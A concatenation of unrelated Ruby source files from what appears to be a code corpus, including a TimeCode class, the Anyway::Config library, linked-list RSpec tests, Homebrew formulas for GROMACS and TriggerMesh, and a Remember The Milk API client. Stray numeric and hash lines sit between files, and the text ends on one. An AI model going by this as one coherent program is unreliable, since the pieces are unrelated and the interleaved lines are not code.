#Name: TimeCode #Author: Kai Kousa #Description: Encapsulates TimeCodes and provides tools to convert #string representations to more useful formats. Stores the time in #milliseconds and in string-representation. class TimeCode attr_reader(:time_code_str, :milliseconds) def initialize(time_code) if time_code.instance_of?(String) self.time_code_str = time_code elsif time_code.instance_of?(Fixnum) self.milliseconds = time_code elsif time_code.instance_of?(Integer) self.milliseconds = time_code elsif time_code.instance_of?(TimeCode) self.milliseconds = time_code.milliseconds end end #Converts string-formatted time code to milliseconds def convert_to_ms() split = @time_code_str.split(":") hours = split[0].to_i minutes = split[1].to_i seconds = split[2].to_i milliseconds = split[3].to_i #puts "Hours: #{hours} Minutes: #{minutes} Seconds: #{seconds} Milliseconds: #{milliseconds}" milliseconds += seconds * 1000; milliseconds += (minutes * 60) * 1000 milliseconds += (hours * 60 * 60) * 1000 return milliseconds end private :convert_to_ms #Set the TimeCode in milliseconds def milliseconds=(ms) @milliseconds = ms hours = ms / 3600000 #1 hour == 3 600 000 ms ms = ms - (hours * 3600000) minutes = ms / 60000 #1 minute == 60 000 ms ms = ms - (minutes * 60000) seconds = ms / 1000 #1 second == 1000 ms ms = ms - (seconds * 1000) @time_code_str = "#{hours}:#{minutes}:#{seconds}:#{ms}" end #Return the String representation of this TimeCode(h:min:sec:ms) def time_code_str=(str) @time_code_str = str @milliseconds = convert_to_ms() end def seconds() ms = @milliseconds hours = ms / 3600000 ms = ms - (hours * 3600000) minutes = ms / 60000 ms = ms - (minutes * 60000) seconds = ms / 1000 ms = ms - (seconds * 1000) if(ms > 499) seconds += 1 end return (hours * 60 * 60) + (minutes * 60) + seconds end #Add the value of another TimeCode to this and return the result def +(other) TimeCode.new(@milliseconds + other.milliseconds) end #Remove the value of another TimeCode from this and return the result def -(other) TimeCode.new(@milliseconds - other.milliseconds) end def to_frames(fps) ms = @milliseconds hours = ms / 3600000 ms = ms - (hours * 3600000) minutes = ms / 60000 ms = ms - (minutes * 60000) seconds = ms / 1000 ms = ms - (seconds * 1000) frames = hours * 3600 * fps frames += minutes * 60 * fps frames += seconds * fps frames += (fps.to_f * (ms.to_f / 1000)).round return frames end def to_s @time_code_str end def to_str to_s() end end
25.044248
97
0.633569
1c07e912e62b175a2e81a2c7f15fce64c6d6c970
10,103
# frozen_string_literal: true require "anyway/optparse_config" require "anyway/dynamic_config" module Anyway # :nodoc: using RubyNext using Anyway::Ext::DeepDup using Anyway::Ext::DeepFreeze using Anyway::Ext::Hash using(Module.new do refine Object do def vm_object_id() = (object_id << 1).to_s(16) end end) # Base config class # Provides `attr_config` method to describe # configuration parameters and set defaults class Config PARAM_NAME = /^[a-z_](\w+)?$/ # List of names that couldn't be used as config names # (the class instance methods we use) RESERVED_NAMES = %i[ config_name env_prefix values class clear deconstruct_keys dig dup initialize load load_from_sources option_parser pretty_print raise_validation_error reload resolve_config_path tap to_h to_source_trace write_config_attr ].freeze class Error < StandardError; end class ValidationError < Error; end include OptparseConfig include DynamicConfig class BlockCallback attr_reader :block def initialize(block) @block = block end def apply_to(config) config.instance_exec(&block) end end class NamedCallback attr_reader :name def initialize(name) @name = name end def apply_to(config) = config.send(name) end class << self def attr_config(*args, **hargs) new_defaults = hargs.deep_dup new_defaults.stringify_keys! defaults.merge! new_defaults new_keys = ((args + new_defaults.keys) - config_attributes) validate_param_names! new_keys.map(&:to_s) new_keys.map!(&:to_sym) unless (reserved_names = (new_keys & RESERVED_NAMES)).empty? raise ArgumentError, "Can not use the following reserved names as config attrubutes: " \ "#{reserved_names.sort.map(&:to_s).join(", ")}" end config_attributes.push(*new_keys) define_config_accessor(*new_keys) # Define predicate methods ("param?") for attributes # having `true` or `false` as default values new_defaults.each do |key, val| next unless val.is_a?(TrueClass) || val.is_a?(FalseClass) alias_method :"#{key}?", :"#{key}" end end def defaults return @defaults if instance_variable_defined?(:@defaults) @defaults = if superclass < Anyway::Config superclass.defaults.deep_dup else new_empty_config end end def config_attributes return @config_attributes if instance_variable_defined?(:@config_attributes) @config_attributes = if superclass < Anyway::Config superclass.config_attributes.dup else [] end end def required(*names) unless (unknown_names = (names - config_attributes)).empty? raise ArgumentError, "Unknown config param: #{unknown_names.join(",")}" end required_attributes.push(*names) end def required_attributes return @required_attributes if instance_variable_defined?(:@required_attributes) @required_attributes = if superclass < Anyway::Config superclass.required_attributes.dup else [] end end def on_load(*names, &block) raise ArgumentError, "Either methods or block should be specified, not both" if block && !names.empty? if block load_callbacks << BlockCallback.new(block) else load_callbacks.push(*names.map { NamedCallback.new(_1) }) end end def load_callbacks return @load_callbacks if instance_variable_defined?(:@load_callbacks) @load_callbacks = if superclass <= Anyway::Config superclass.load_callbacks.dup else [] end end def config_name(val = nil) return (@explicit_config_name = val.to_s) unless val.nil? return @config_name if instance_variable_defined?(:@config_name) @config_name = explicit_config_name || build_config_name end def explicit_config_name return @explicit_config_name if instance_variable_defined?(:@explicit_config_name) @explicit_config_name = if superclass.respond_to?(:explicit_config_name) superclass.explicit_config_name end end def explicit_config_name?() = !explicit_config_name.nil? def env_prefix(val = nil) return (@env_prefix = val.to_s.upcase) unless val.nil? return @env_prefix if instance_variable_defined?(:@env_prefix) @env_prefix = if superclass < Anyway::Config && superclass.explicit_config_name? superclass.env_prefix else config_name.upcase end end def new_empty_config() = {} private def define_config_accessor(*names) names.each do |name| accessors_module.module_eval <<~RUBY, __FILE__, __LINE__ + 1 def #{name}=(val) __trace__&.record_value(val, \"#{name}\", **Tracing.current_trace_source) values[:#{name}] = val end def #{name} values[:#{name}] end RUBY end end def accessors_module return @accessors_module if instance_variable_defined?(:@accessors_module) @accessors_module = Module.new.tap do |mod| include mod end end def build_config_name unless name raise "Please, specify config name explicitly for anonymous class " \ "via `config_name :my_config`" end # handle two cases: # - SomeModule::Config => "some_module" # - SomeConfig => "some" unless name =~ /^(\w+)(::)?Config$/ raise "Couldn't infer config name, please, specify it explicitly" \ "via `config_name :my_config`" end Regexp.last_match[1].tap(&:downcase!) end def validate_param_names!(names) invalid_names = names.reject { |name| name =~ PARAM_NAME } return if invalid_names.empty? raise ArgumentError, "Invalid attr_config name: #{invalid_names.join(", ")}.\n" \ "Valid names must satisfy /#{PARAM_NAME.source}/." end end on_load :validate_required_attributes! attr_reader :config_name, :env_prefix # Instantiate config instance. # # Example: # # my_config = Anyway::Config.new() # # # provide some values explicitly # my_config = Anyway::Config.new({some: :value}) # def initialize(overrides = nil) @config_name = self.class.config_name raise ArgumentError, "Config name is missing" unless @config_name @env_prefix = self.class.env_prefix @values = {} load(overrides) end def reload(overrides = nil) clear load(overrides) self end def clear values.clear @__trace__ = nil self end def load(overrides = nil) base_config = self.class.defaults.deep_dup trace = Tracing.capture do Tracing.trace!(:defaults) { base_config } config_path = resolve_config_path(config_name, env_prefix) load_from_sources(base_config, name: config_name, env_prefix:, config_path:) if overrides Tracing.trace!(:load) { overrides } Utils.deep_merge!(base_config, overrides) end end base_config.each do |key, val| write_config_attr(key.to_sym, val) end # Trace may contain unknown attributes trace&.keep_if { |key| self.class.config_attributes.include?(key.to_sym) } # Run on_load callbacks self.class.load_callbacks.each { _1.apply_to(self) } # Set trace after we write all the values to # avoid changing the source to accessor @__trace__ = trace self end def load_from_sources(base_config, **options) Anyway.loaders.each do |(_id, loader)| Utils.deep_merge!(base_config, loader.call(**options)) end base_config end def dig(*keys) = values.dig(*keys) def to_h() = values.deep_dup.deep_freeze def dup self.class.allocate.tap do |new_config| %i[config_name env_prefix __trace__].each do |ivar| new_config.instance_variable_set(:"@#{ivar}", send(ivar).dup) end new_config.instance_variable_set(:@values, values.deep_dup) end end def resolve_config_path(name, env_prefix) Anyway.env.fetch(env_prefix).delete("conf") || Settings.default_config_path.call(name) end def deconstruct_keys(keys) = values.deconstruct_keys(keys) def to_source_trace() = __trace__&.to_h def inspect "#<#{self.class}:0x#{vm_object_id.rjust(16, "0")} config_name=\"#{config_name}\" env_prefix=\"#{env_prefix}\" " \ "values=#{values.inspect}>" end def pretty_print(q) q.object_group self do q.nest(1) do q.breakable q.text "config_name=#{config_name.inspect}" q.breakable q.text "env_prefix=#{env_prefix.inspect}" q.breakable q.text "values:" q.pp __trace__ end end end private attr_reader :values, :__trace__ def validate_required_attributes! self.class.required_attributes.select do |name| values[name].nil? || (values[name].is_a?(String) && values[name].empty?) end.then do |missing| next if missing.empty? raise_validation_error "The following config parameters are missing or empty: #{missing.join(", ")}" end end def write_config_attr(key, val) key = key.to_sym return unless self.class.config_attributes.include?(key) public_send(:"#{key}=", val) end def raise_validation_error(msg) raise ValidationError, msg end end end
25.772959
119
0.621499
1847089082b7041611748c6f77f6c06f43d29175
2,602
# frozen_string_literal: true require "rspec" require "chapter2/linked_lists" describe "SingleLinkedList#remove_dups!" do example "{1,1,1,1,1} should return {1}" do list = ADT::SingleLinkedList.new 5.times do list.add(1) end expect(list.size).to eq(5) expect(list.to_a).to eq([1, 1, 1, 1, 1]) list.remove_dups! expect(list.size).to eq(1) expect(list.to_a).to eq([1]) end example "a list with several 1s, 2s and 3s should return only {1,2,3}" do list = ADT::SingleLinkedList.new arr = [] 5.times do list.add(1) list.add(2) list.add(3) arr.append(1, 2, 3) end expect(list.size).to eq(15) expect(list.to_a).to eq(arr) list.remove_dups! expect(list.size).to eq(3) expect(list.to_a).to eq([1, 2, 3]) end example "list without repeated elements should be left unaltered" do list = ADT::SingleLinkedList.new arr = (1..20).to_a (1..20).each do |i| list.add(i) end expect(list.size).to eq(20) expect(list.to_a).to eq(arr) list.remove_dups! expect(list.size).to eq(20) expect(list.to_a).to eq(arr) end example "an empty list should remain empty" do list = ADT::SingleLinkedList.new list.remove_dups! expect(list.empty?).to eq(true) expect(list.size).to eq(0) end end describe "SingleLinkedList#remove_dups_b!" do example "{1,1,1,1,1} should return {1}" do list = ADT::SingleLinkedList.new 5.times do list.add(1) end expect(list.size).to eq(5) expect(list.to_a).to eq([1, 1, 1, 1, 1]) list.remove_dups_b! expect(list.size).to eq(1) expect(list.to_a).to eq([1]) end example "a list with several 1s, 2s and 3s should return {1,2,3}" do list = ADT::SingleLinkedList.new arr = [] 5.times do list.add(1) list.add(2) list.add(3) arr.append(1, 2, 3) end expect(list.size).to eq(15) expect(list.to_a).to eq(arr) list.remove_dups_b! expect(list.size).to eq(3) expect(list.to_a).to eq([1, 2, 3]) end example "a list without repeated elements should be left unaltered" do list = ADT::SingleLinkedList.new arr = (1..20).to_a (1..20).each do |i| list.add(i) end expect(list.size).to eq(20) expect(list.to_a).to eq(arr) list.remove_dups_b! expect(list.size).to eq(20) expect(list.to_a).to eq(arr) end example "an empty list should remain empty" do list = ADT::SingleLinkedList.new list.remove_dups_b! expect(list.empty?).to eq(true) expect(list.size).to eq(0) end end
23.441441
75
0.622982
1a40cec184ae73614837b7e35025c4be4b29aace
431
require_relative 'command.rb' module DBP::BookCompiler::TexToMarkdown class ExitEnvironment include Command attr_reader :text def initialize @name = 'end' @pattern = /{([[:alpha:]]+)}/ @text = '</div>' end def write(writer, _) writer.write(text) end def transition(translator, _) translator.finish_command end def to_s "#{self.class}" end end end
16.576923
39
0.600928
01a73b9a62154957e362229cb76a31f82f11b461
1,644
class Gromacs < Formula desc "Versatile package for molecular dynamics calculations" homepage "http://www.gromacs.org/" url "https://ftp.gromacs.org/pub/gromacs/gromacs-2020.1.tar.gz" sha256 "e1666558831a3951c02b81000842223698016922806a8ce152e8f616e29899cf" bottle do sha256 "72d49c0e34e42499f3f415d2eb0945a6a92446237b7175b385e546c3534e5b98" => :catalina sha256 "bfab3f87481535fbfbfb6c03b22b0ffd27ebebf98fef1b3dba88fe5d36394f1d" => :mojave sha256 "159631826837201f2d33cd1e6b018928c5e2fe82a3973439ed9e62a4f461da6e" => :high_sierra end depends_on "cmake" => :build depends_on "fftw" depends_on "gcc" depends_on "gsl" # for OpenMP depends_on "openblas" depends_on "linuxbrew/xorg/xorg" unless OS.mac? def install # Non-executable GMXRC files should be installed in DATADIR inreplace "scripts/CMakeLists.txt", "CMAKE_INSTALL_BINDIR", "CMAKE_INSTALL_DATADIR" args = std_cmake_args + %w[ -DCMAKE_C_COMPILER=gcc-9 -DCMAKE_CXX_COMPILER=g++-9 ] mkdir "build" do system "cmake", "..", *args system "make", "install" end bash_completion.install "build/scripts/GMXRC" => "gromacs-completion.bash" bash_completion.install "#{bin}/gmx-completion-gmx.bash" => "gmx-completion-gmx.bash" bash_completion.install "#{bin}/gmx-completion.bash" => "gmx-completion.bash" zsh_completion.install "build/scripts/GMXRC.zsh" => "_gromacs" end def caveats <<~EOS GMXRC and other scripts installed to: #{HOMEBREW_PREFIX}/share/gromacs EOS end test do system "#{bin}/gmx", "help" end end
31.615385
93
0.707421
210d6531913d85e75df3d9b9a2d46850d90563ba
1,058
require 'json' module Wowaddon class Config def initialize create_config unless config_exists? end def data return @data if defined? @data raw_data = JSON.parse(File.read(file)) rescue {} @data = OpenStruct.new default_config.merge(raw_data) end def dir @config_dir ||= File.join(Dir.home, '.wowaddon') end def file @config_file ||= File.join(dir, 'config.json') end def save File.open(file, 'w') {|f| f.write(JSON.pretty_generate(data.to_h)) } end def update(field, value) @data[field] = value save end private def config_exists? File.exist? file end def create_config FileUtils.mkdir_p dir save end def default_config { addons_dir: File.join('/', 'Applications', 'World of Warcraft', 'Interface', 'AddOns'), database_file: File.join(dir, 'database.sqlite3') } end def method_missing(method, *args, &block) data.send(method, *args, &block) end end end
19.236364
95
0.60586
1d09f346eb7fda9c2ff14d1f423a229c0abae2bd
5,119
require 'httparty' module RTM # Acts as the endopint to RTM actions, providing a means to separate the API's behavior # with interaction with RTM. class Endpoint NO_TIMELINE = { "rtm.contacts.getList" => true, "rtm.groups.getList" => true, "rtm.lists.getList" => true, "rtm.reflection.getMethodInfo" => true, "rtm.reflection.getMethods" => true, "rtm.settings.getList" => true, "rtm.tasks.getList" => true, "rtm.test.echo" => true, "rtm.test.login" => true, "rtm.time.convert" => true, "rtm.time.parse" => true, "rtm.timelines.create" => true, "rtm.timezones.getList" => true, "rtm.transactions.undo" => true, } BASE_URL = 'http://www.rememberthemilk.com/services/' # Create an endpoint to RTM, upon which methods may be called. # [api_key] your api key # [secret] your secret # [http] a class that acts like HTTParty (omit; this is used for testing mostly) def initialize(api_key,secret,http=HTTParty) @api_key = api_key @secret = secret @http=http raise "Cannot work with a secret key" if @secret.nil? raise "Cannot work with a api_key key" if @api_key.nil? end def auto_timeline=(auto) @auto_timeline = auto end # Update the token used to access this endpoint def token=(token) @token = token end def last_timeline @last_timeline end # Calls the RTM method with the given parameters # [method] the full RTM method, e.g. rtm.tasks.getList # [params] the parameters to pass, can be symbols. api_key, token, and signature not required # [token_required] if false, this method will not require a token def call_method(method,params={},token_required=true) @last_timeline = nil raise NoTokenException if token_required && (!@token || @token.nil?) params = {} if params.nil? params[:auth_token] = @token if [email protected]? if (@auto_timeline && !NO_TIMELINE[method]) response = @http.get(url_for('rtm.timelines.create',{'auth_token' => @token})); if response['timeline'] @last_timeline = response['timeline'] params[:timeline] = @last_timeline else raise BadResponseException, "Expected a <timeline></timeline> type response, but got: #{response.body}" end end params_no_symbols = Hash.new params.each do |k,v| params_no_symbols[k.to_s] = v end response = @http.get(url_for(method,params_no_symbols)) verify(response) return response['rsp'] end # Get the url for a particular call, doing the signing and all that other stuff. # # [method] the RTM method to call # [params] hash of parameters. The +method+, +api_key+, and +api_sig+ parameters should _not_ be included. # [endpoint] the endpoint relate to BASE_URL at which this request should be made. def url_for(method,params={},endpoint='rest') params['api_key'] = @api_key params['method'] = method if method signature = sign(params) url = BASE_URL + endpoint + '/' + params_to_url(params.merge({'api_sig' => signature})) url end private # quick and dirty way to check the response we got back from RTM. # Call this after every call to RTM. This will verify that you got <rsp> with a "stat='ok'" # and, if not, make a best effort at raising the error message from RTM. # # [response] the response from HTTParty from RTM def verify(response) raise BadResponseException, "No response at all" if !response || response.nil? raise BadResponseException, "Got response with no body" if !response.body raise BadResponseException, "Didn't find an rsp element, response body was #{response.body}" if !response["rsp"] raise BadResponseException, "Didn't find a stat in the <rsp> element, response body was #{response.body}" if !response["rsp"]["stat"] if response['rsp']['stat'] != 'ok' err = response['rsp']['err'] if err code = err['code'] msg = err['msg'] raise VerificationException, "ERROR: Code: #{code}, Message: #{msg}" else raise VerificationException, "Didn't find an <err> tag in the response for stat #{response['rsp']['stat']}, response body was #{response.body}" end end end # Turns params into a URL def params_to_url(params) string = '?' params.each do |k,v| string += CGI::escape(k) string += '=' string += CGI::escape(v) string += '&' end string end # Signs the request given the params and secret key # # [params] hash of parameters # def sign(params) raise "Something's wrong; @secret is nil" if @secret.nil? sign_me = @secret params.keys.sort.each do |key| sign_me += key raise "Omit params with nil values; key #{key} was nil" if params[key].nil? sign_me += params[key] end return Digest::MD5.hexdigest(sign_me) end end end
34.823129
154
0.627271
7ac574d8fa86e68bfdb91e8ffc3048b88dafb19b
461
# frozen_string_literal: true # require 'spec_helper' # # to re-record a rtm_start fixture run with # SLACK_API_TOKEN=... CONCURRENCY=async-websocket rspec spec/slack/real_time/rtm_start_spec.rb # edit rtm_start.yml and remove the token, fix wss:// path (run specs, fix failures) # # RSpec.describe Slack::RealTime::Client, vcr: { cassette_name: 'web/rtm_start' } do # it 'connects' do # Slack::Web::Client.new.rtm_start(mpim_aware: true) # end # end
30.733333
94
0.733189
f75860daee18396f52cff0f5d391dd7fec254ede
645
module Fog module Image class OpenStack class V2 class Real def remove_tag_from_image(image_id, tag) request( :expects => [204], :method => 'DELETE', :path => "images/#{image_id}/tags/#{tag}" ) end end # class Real class Mock def remove_tag_from_image(image_id, tag) response = Excon::Response.new response.status = 204 response end # def remove_tag_from_image end # class Mock end # class OpenStack end end # module Image end # module Fog
24.807692
57
0.514729
f829c70e038d362cc87bbae64b85a19d471a9141
3,418
class Tm < Formula desc "TriggerMesh CLI to work with knative objects" homepage "https://triggermesh.com" url "https://github.com/triggermesh/tm/archive/v1.3.0.tar.gz" sha256 "643cb0d24886bcca4a01dd2e65aa5da235ed0599a575ffa67ba46b095bcea9f4" license "Apache-2.0" head "https://github.com/triggermesh/tm.git" bottle do sha256 cellar: :any_skip_relocation, arm64_big_sur: "ee64fb1f753b611c0417d2f346a5f40f6eeba83a0788c3d2100b630d5d8a41fb" sha256 cellar: :any_skip_relocation, big_sur: "f18a9b4454bcaf2e3dce803c48334f55705668224ae6d29a5b0e7b531d3c7eb8" sha256 cellar: :any_skip_relocation, catalina: "0095bd87a847107f958de558b096a701c99eec4cbcfc2e7aaa5ef74994208b98" sha256 cellar: :any_skip_relocation, mojave: "4160f40f0d8b5d52e0fb66ab3152b8918a83c74d4010bbf79d7d06beec697ddd" sha256 cellar: :any_skip_relocation, x86_64_linux: "b59b561ee46b8701a62125b19d1f3023011a04d416b5b556badab01efab3793c" end depends_on "go" => :build def install ldflags = %W[ -s -w -X github.com/triggermesh/tm/cmd.version=v#{version} ] system "go", "build", *std_go_args, "-ldflags", ldflags.join(" ") end test do (testpath/"kubeconfig").write <<~EOS apiVersion: v1 clusters: - cluster: certificate-authority-data: test server: http://127.0.0.1:8080 name: test contexts: - context: cluster: test user: test name: test current-context: test kind: Config preferences: {} users: - name: test user: token: test EOS ENV["KUBECONFIG"] = testpath/"kubeconfig" # version version_output = shell_output("#{bin}/tm version") assert_match "Triggermesh CLI, version v#{version}", version_output # node system "#{bin}/tm", "generate", "node", "foo-node" assert_predicate testpath/"foo-node/serverless.yaml", :exist? assert_predicate testpath/"foo-node/handler.js", :exist? runtime = "https://raw.githubusercontent.com/triggermesh/knative-lambda-runtime/master/node10/runtime.yaml" yaml = File.read("foo-node/serverless.yaml") assert_match "runtime: #{runtime}", yaml # python system "#{bin}/tm", "generate", "python", "foo-python" assert_predicate testpath/"foo-python/serverless.yaml", :exist? assert_predicate testpath/"foo-python/handler.py", :exist? runtime = "https://raw.githubusercontent.com/triggermesh/knative-lambda-runtime/master/python37/runtime.yaml" yaml = File.read("foo-python/serverless.yaml") assert_match "runtime: #{runtime}", yaml # go system "#{bin}/tm", "generate", "go", "foo-go" assert_predicate testpath/"foo-go/serverless.yaml", :exist? assert_predicate testpath/"foo-go/main.go", :exist? runtime = "https://raw.githubusercontent.com/triggermesh/knative-lambda-runtime/master/go/runtime.yaml" yaml = File.read("foo-go/serverless.yaml") assert_match "runtime: #{runtime}", yaml # ruby system "#{bin}/tm", "generate", "ruby", "foo-ruby" assert_predicate testpath/"foo-ruby/serverless.yaml", :exist? assert_predicate testpath/"foo-ruby/handler.rb", :exist? runtime = "https://raw.githubusercontent.com/triggermesh/knative-lambda-runtime/master/ruby25/runtime.yaml" yaml = File.read("foo-ruby/serverless.yaml") assert_match "runtime: #{runtime}", yaml end end
36.752688
122
0.697484
7a2872b57827a69ff15f03bfee6f2caaa0a184c8
3,405
# frozen_string_literal: true # ----------------------------------------------------------------------------- # # Common methods for LineString features # # ----------------------------------------------------------------------------- module RGeo module ImplHelper # :nodoc: module BasicLineStringMethods # :nodoc: def initialize(factory, points) self.factory = factory @points = points.map do |elem| elem = Feature.cast(elem, factory, Feature::Point) raise Error::InvalidGeometry, "Could not cast #{elem}" unless elem elem end validate_geometry end def num_points @points.size end def point_n(n) n < 0 ? nil : @points[n] end def points @points.dup end def dimension 1 end def geometry_type Feature::LineString end def is_empty? @points.size == 0 end def boundary array = [] array << @points.first << @points.last if !is_empty? && !is_closed? factory.multipoint([array]) end def start_point @points.first end def end_point @points.last end def is_closed? unless defined?(@is_closed) @is_closed = @points.size > 2 && @points.first == @points.last end @is_closed end def is_ring? is_closed? && is_simple? end def rep_equals?(rhs) if rhs.is_a?(self.class) && rhs.factory.eql?(@factory) && @points.size == rhs.num_points rhs.points.each_with_index { |p, i| return false unless @points[i].rep_equals?(p) } else false end end def hash @hash ||= begin hash = [factory, geometry_type].hash @points.inject(hash) { |h, p| (1_664_525 * h + p.hash).hash } end end def coordinates @points.map(&:coordinates) end private def copy_state_from(obj) super @points = obj.points end def validate_geometry if @points.size == 1 raise Error::InvalidGeometry, "LineString cannot have 1 point" end end end module BasicLineMethods # :nodoc: def initialize(factory, start, stop) self.factory = factory cstart = Feature.cast(start, factory, Feature::Point) unless cstart raise Error::InvalidGeometry, "Could not cast start: #{start}" end cstop = Feature.cast(stop, factory, Feature::Point) raise Error::InvalidGeometry, "Could not cast end: #{stop}" unless cstop @points = [cstart, cstop] validate_geometry end def geometry_type Feature::Line end def coordinates @points.map(&:coordinates) end private def validate_geometry super if @points.size > 2 raise Error::InvalidGeometry, "Line must have 0 or 2 points" end end end module BasicLinearRingMethods # :nodoc: def geometry_type Feature::LinearRing end private def validate_geometry super if @points.size > 0 @points << @points.first if @points.first != @points.last @points = @points.chunk { |x| x }.map(&:first) end end end end end
22.401316
96
0.53069
7aa0d0ebb45e5877f0489db1ff895ac6b7c48e0f
103
class DropUserGroups < ActiveRecord::Migration[4.2] def change drop_table :user_groups end end
17.166667
51
0.757282
18ec996c3df75c65cc3f2dace9049281025885e0
1,157
# frozen_string_literal: true # Concern handling functionality around deciding whether to send notification # for activities on a specified branch or not. Will be included in # Integrations::BaseChatNotification and PipelinesEmailService classes. module NotificationBranchSelection extend ActiveSupport::Concern def branch_choices [ [_('All branches'), 'all'].freeze, [_('Default branch'), 'default'].freeze, [_('Protected branches'), 'protected'].freeze, [_('Default branch and protected branches'), 'default_and_protected'].freeze ].freeze end def notify_for_branch?(data) ref = if data[:ref] Gitlab::Git.ref_name(data[:ref]) else data.dig(:object_attributes, :ref) end is_default_branch = ref == project.default_branch is_protected_branch = ProtectedBranch.protected?(project, ref) case branches_to_be_notified when "all" true when "default" is_default_branch when "protected" is_protected_branch when "default_and_protected" is_default_branch || is_protected_branch else false end end end
27.547619
82
0.690579
e9717577fa13dc556b4cf0805e7282d2183a21ed
3,617
# General derivative service for NewspaperWorks, which is meant to wrap # and replace the stock Hyrax::FileSetDerivativeService with a proxy # that runs one or more derivative service "plugin" components. # # Note: Hyrax::DerivativeService consumes this, instead of (directly) # consuming Hyrax::FileSetDerivativeService. # # Unlike the "run the first valid plugin" arrangement that the # Hyrax::DerivativeService uses to run an actual derivative creation # service component, this component is: # # (a) Consumed by Hyrax::DerivativeService as that first valid plugin; # # (b) Wraps and runs 0..* plugins, not just the first. # # This should be registered to take precedence over default by: # Hyrax::DerivativeService.services.unshift( # NewspaperWorks::PluggableDerivativeService # ) # # Modify NewspaperWorks::PluggableDerivativeService.plugins # to add, remove, or reorder plugin (derivative service) classes. # class NewspaperWorks::PluggableDerivativeService attr_reader :file_set delegate :uri, :mime_type, to: :file_set # default plugin Hyrax OOTB, makes thumbnails and sometimes extracts text: default_plugin = Hyrax::FileSetDerivativesService # make and expose an array of plugins @plugins = [default_plugin] @allowed_methods = [:cleanup_derivatives, :create_derivatives] class << self attr_accessor :plugins, :allowed_methods end def plugins self.class.plugins end def initialize(file_set) @file_set = file_set end def valid? # this wrapper/proxy/composite is always valid, but it may compose # multiple plugins, some of which may or may not be valid, so # validity checks happen within as well. true end def respond_to_missing?(method_name) self.class.allowed_methods.include?(method_name) || super end # get derivative services relevant to method name and file_set context # -- omits plugins if particular destination exists or will soon. def services(method_name) result = plugins.map { |plugin| plugin.new(file_set) }.select(&:valid?) result.select do |plugin| dest = nil dest = plugin.class.target_ext if plugin.class.respond_to?(:target_ext) !skip_destination?(method_name, dest) end end def method_missing(name, *args, **opts, &block) if respond_to_missing?(name) # we have an allowed method, construct services and include all valid # services for the file_set # services = plugins.map { |plugin| plugin.new(file_set) }.select(&:valid?) # run all valid services, in order: services(name).each do |plugin| plugin.send(name, *args) end else super end end private def skip_destination?(method_name, destination_name) return false if file_set.id.nil? || destination_name.nil? return false unless method_name == :create_derivatives # skip :create_derivatives if existing --> do not re-create existing_derivative?(destination_name) || impending_derivative?(destination_name) end def existing_derivative?(name) path = derivative_path_factory.derivative_path_for_reference( file_set, name ) File.exist?(path) end # is there an impending attachment from ingest logged to db? # -- avoids stomping over pre-made derivative # for which an attachment is still in-progress. def impending_derivative?(name) result = NewspaperWorks::DerivativeAttachment.find_by( fileset_id: file_set.id, destination_name: name ) !result.nil? end def derivative_path_factory Hyrax::DerivativePath end end
31.452174
81
0.721869
b9be6890d85b57d5d22b6c879b416a47d41b5a79
393
# Code generated by Microsoft (R) AutoRest Code Generator. # Changes may cause incorrect behavior and will be lost if the code is # regenerated. module Azure::EdgeGateway::Mgmt::V2019_03_01 module Models # # Defines values for AlertSeverity # module AlertSeverity Informational = "Informational" Warning = "Warning" Critical = "Critical" end end end
23.117647
70
0.699746
1c813e36dab2551f453791c4539fffd90184804e
3,301
# # tkextlib/tcllib/swaplist.rb # by Hidetoshi NAGAI ([email protected]) # # * Part of tcllib extension # * A dialog which allows a user to move options between two lists # require 'tk' require 'tkextlib/tcllib.rb' # TkPackage.require('swaplist', '0.1') TkPackage.require('swaplist') module Tk::Tcllib class Swaplist_Dialog < TkWindow PACKAGE_NAME = 'swaplist'.freeze def self.package_name PACKAGE_NAME end def self.package_version begin TkPackage.require('swaplist') rescue '' end end end end class Tk::Tcllib::Swaplist_Dialog TkCommandNames = ['::swaplist::swaplist'.freeze].freeze WidgetClassName = 'Swaplist'.freeze WidgetClassNames[WidgetClassName] = self def self.show(*args) dialog = self.new(*args) dialog.show [dialog.status, dialog.value] end def self.display(*args) self.show(*args) end def initialize(*args) # args = (parent=nil, complete_list=[], selected_list=[], keys=nil) keys = args.pop if keys.kind_of?(Hash) @selected_list = args.pop @complete_list = args.pop @keys = _symbolkey2str(keys) args.push(keys) else @selected_list = keys @complete_list = args.pop @keys = {} end @selected_list = [] unless @selected_list @complete_list = [] unless @complete_list @variable = TkVariable.new @status = nil super(*args) end def create_self(keys) # dummy end private :create_self def show @variable.value = '' @status = bool(tk_call(self.class::TkCommandNames[0], @path, @variable, @complete_list, @selected_list, *hash_kv(@keys))) end alias display show def status @status end def value @variable.list end alias selected value def cget_strict(slot) slot = slot.to_s if slot == 'complete_list' @complete_list elsif slot == 'selected_list' @selected_list else @keys[slot] end end def cget(slot) cget_strict(slot) end def configure(slot, value=None) if slot.kind_of?(Hash) slot.each{|k, v| configure(k, v)} else slot = slot.to_s value = _symbolkey2str(value) if value.kind_of?(Hash) if value && value != None if slot == 'complete_list' @complete_list = value elsif slot == 'selected_list' @selected_list = value else @keys[slot] = value end else if slot == 'complete_list' @complete_list = [] elsif slot == 'selected_list' @selected_list = [] else @keys.delete(slot) end end end self end def configinfo(slot = nil) if slot slot = slot.to_s if slot == 'complete_list' [ slot, nil, nil, nil, @complete_list ] elsif slot == 'selected_list' [ slot, nil, nil, nil, @selected_list ] else [ slot, nil, nil, nil, @keys[slot] ] end else @keys.collect{|k, v| [ k, nil, nil, nil, v ] } \ << [ 'complete_list', nil, nil, nil, @complete_list ] \ << [ 'selected_list', nil, nil, nil, @selected_list ] end end end
21.860927
75
0.581036
abf16a126c6e479c31ee2f28356e72d51e4920a7
281
class CreateGalleries < ActiveRecord::Migration def self.up create_table :galleries do |t| t.references :photographer t.string :title end add_index :galleries, :photographer_id, :unique => false end def self.down drop_table :galleries end end
18.733333
60
0.69395
39984fd49b4e3a0427d7f487183615ea711c14e4
1,207
